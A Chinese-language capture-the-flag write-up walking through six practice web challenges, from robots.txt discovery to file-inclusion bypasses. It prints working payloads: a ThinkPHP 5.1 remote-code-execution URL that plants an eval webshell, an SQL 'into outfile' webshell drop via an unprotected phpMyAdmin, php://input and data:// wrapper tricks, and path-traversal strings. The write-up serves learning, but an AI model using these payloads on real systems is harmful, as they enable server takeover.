Web解进阶题目思路(1~6)

Web进阶题目

  • 一、baby_web(难度:1)
  • 二、Training-WWW-Robots(难度:1)
  • 三、php_rce(难度:2)
  • 四、Web_php_include(难度:2)
    • 方法一:sql注入一句话
    • 方法二:
    • 方法三:
  • 五、warmup (难度:2)
  • 六、ics-06(难度:2)

kalilinux中各个软件的功能用法-----后续网络下载并添加
kalilinux中各个软件的功能用法-----系统自带
Web知识点

一、baby_web(难度:1)

提示:想想初始页面是哪个
Web解进阶题目思路(1~6)_第1张图片
难度一星不高,看在刚结束入门进入进阶,所以前面不放难的,那我们也将就不用脑子,提示是初始页面,直接F12:
Web解进阶题目思路(1~6)_第2张图片
没flag,猜错,那就抓包尝试send to repeater:
Web解进阶题目思路(1~6)_第3张图片
结束

二、Training-WWW-Robots(难度:1)

提示:无
Web解进阶题目思路(1~6)_第4张图片
提到了robots.txt,那就进入robots.txt看下:Web解进阶题目思路(1~6)_第5张图片
又出现了一个fl0g.php文件,并且禁止访问?那再次进入这个文件查看:
Web解进阶题目思路(1~6)_第6张图片
成功

三、php_rce(难度:2)

提示:无
Web解进阶题目思路(1~6)_第7张图片
直接点击几个连接,发现全是广告,没什么有用的信息==。
没有下手点,而根据题目rce知道可能和什么漏洞有关,网上查找许就突然发现是ThinkPHP 5.1版本的漏洞问题,也就是说我们可以开个后门,查找了一下方法:
比如:通过长途代码注入实行phpinfo语句:

http://111.198.29.45:58309/index.php/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

Web解进阶题目思路(1~6)_第8张图片
而我们也可以通过这个插入一个后门,作用是创建一个名叫muma.php的文件,后门密码是12345(注意:php和@之间一定要有空格):

http://111.198.29.45:58309/index.php/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=muma.php&vars[1][]=<?php @eval($_POST[12345]);?>

运行以后网页会返回文件的大小:
Web解进阶题目思路(1~6)_第9张图片
然后查看访问下我们创建的muma.php文件:
Web解进阶题目思路(1~6)_第10张图片
貌似没报错,直接打开蚁剑指向插入的文件,输入密码并且测试连接:
Web解进阶题目思路(1~6)_第11张图片
开始进去根目录找flag相关的文件:
Web解进阶题目思路(1~6)_第12张图片
成功

四、Web_php_include(难度:2)

提示:无
Web解进阶题目思路(1~6)_第13张图片

方法一:sql注入一句话

先日常dirsearch.py检索一下:
Web解进阶题目思路(1~6)_第14张图片
发现phpmyadmin文件,先直接打开,尝试账号root,密码为空的管理员身份进入,发现成功了:
Web解进阶题目思路(1~6)_第15张图片
SQL注入一句话:

select "" into outfile "/tmp/muma.php"

linux默认tmp是可写目录
即在路径/tmp/路径创建一个muma.php文件并且写入一句话“”,点击执行:
Web解进阶题目思路(1~6)_第16张图片
打开蚁剑,连接这个地址中我们插入的文件,密码为我们设置的123:
Web解进阶题目思路(1~6)_第17张图片
连接成功后,发现这个奇怪的php文件,打开既是密钥:
Web解进阶题目思路(1~6)_第18张图片

方法二:

相比于上一步无脑走程序,这次我们对php代码进行解析:
Web解进阶题目思路(1~6)_第19张图片
大致意思是当page的值中有php://时进入while循环,并且在循环中把page值中出现的php://替换成空格。那么php://是什么?它是伪协议的一种,也就是说这一题把php://伪协议给ban了,但是仔细一看,strstr() 函数是要区分大小写的,而在php中不以区分,则可以用Php://来替代php://绕过(反正随便有几个大写就行),而绕过以后可以靠下面的include()来执行page中的代码,这样看可能是可行的,则赋值:page=Php://input
其作用是:可以读取没有处理过的POST数据(具体在笔记)
Web解进阶题目思路(1~6)_第20张图片
然后执行抓包send to repeater:
Web解进阶题目思路(1~6)_第21张图片
之后可以开始写入执行的php代码,sent后发现fl4gisisish3r3.php文件:
Web解进阶题目思路(1~6)_第22张图片
重新修改下需要执行的代码内容sent:
Web解进阶题目思路(1~6)_第23张图片

方法三:

使用另一个伪协议data来绕过:
具体用法为:?page=data://text/plain,+命令语言
Web解进阶题目思路(1~6)_第24张图片
找到文件后,再使用file_get_contents读取该文件下的内容:
http://111.198.29.45:54924/?page=data://text/plain,%3C?php%20$a_code%20=%20file_get_contents(%27fl4gisisish3r3.php%27);echo%20htmlspecialchars($a_code)?%3E:
Web解进阶题目思路(1~6)_第25张图片

五、warmup (难度:2)

进入界面除了一个滑稽什么都没有,查看源码发现有个提示为source.php
Web解进阶题目思路(1~6)_第26张图片
进入source.php以后发现源码:
Web解进阶题目思路(1~6)_第27张图片
大致看了一眼看到hint.php,再次进入:
Web解进阶题目思路(1~6)_第28张图片
发现唯一的线索只是flag存在ffffllllaaaagggg中,具体还是要返回source.php解读源码。全部源码:

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
        	#此处是个白名单数组,isset()判断page是否为空
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
            
			#第一次判断page是否在数组中
            if (in_array($page, $whitelist)) {
                return true;
            }
            
			#_page取值为page中"?"前面的部分
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            
            #第二次判断page是否在数组中
            if (in_array($_page, $whitelist)) {
                return true;
            }
			#_page取值为page经过url解码的值。之后同样进行取值为_page中"?"前面的部分
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
             #第三次判断page是否在数组中
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "
"
; } ?>

又是一题考察文件包含的题目,那么这题最终就是如何给include $_REQUEST['file']中的file赋值的问题。
首先file必须包含在这个数组,即前提赋值为source.php或者hint.php,之后通过这三次判断,使得值返回true,并且能指向这个ffffllllaaaagggg文件:
Web解进阶题目思路(1~6)_第29张图片
测试证明以下均可正确执行,(其中%3f、%253f分别是"?"的一次url、两次url加密;而第一个/是指向根目录,之后一堆/…/…/…/是目录级数,可以有多个都没关系,但是之后貌似有说ffffllllaaaagggg每个都是4个字母,即提示是4级目录):
http://111.198.29.45:35953/?file=source.php?/../../../../../ffffllllaaaagggg
http://111.198.29.45:35953/%3ffile=source.php?/../../../../../ffffllllaaaagggg
http://111.198.29.45:35953/%253ffile=source.php?/../../../../../ffffllllaaaagggg
http://111.198.29.45:35953/?file=hint.php?/../../../../../../ffffllllaaaagggg
http://111.198.29.45:35953/%3ffile=hint.php?/../../../../../ffffllllaaaagggg
http://111.198.29.45:35953/%253ffile=hint.php?/../../../../../ffffllllaaaagggg

六、ics-06(难度:2)

提示 :云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。
Web解进阶题目思路(1~6)_第30张图片
纯爆破== ,id值从1到10000爆,久的一,最终id值为2333.

你可能感兴趣的:(CTF-----Web自学日志)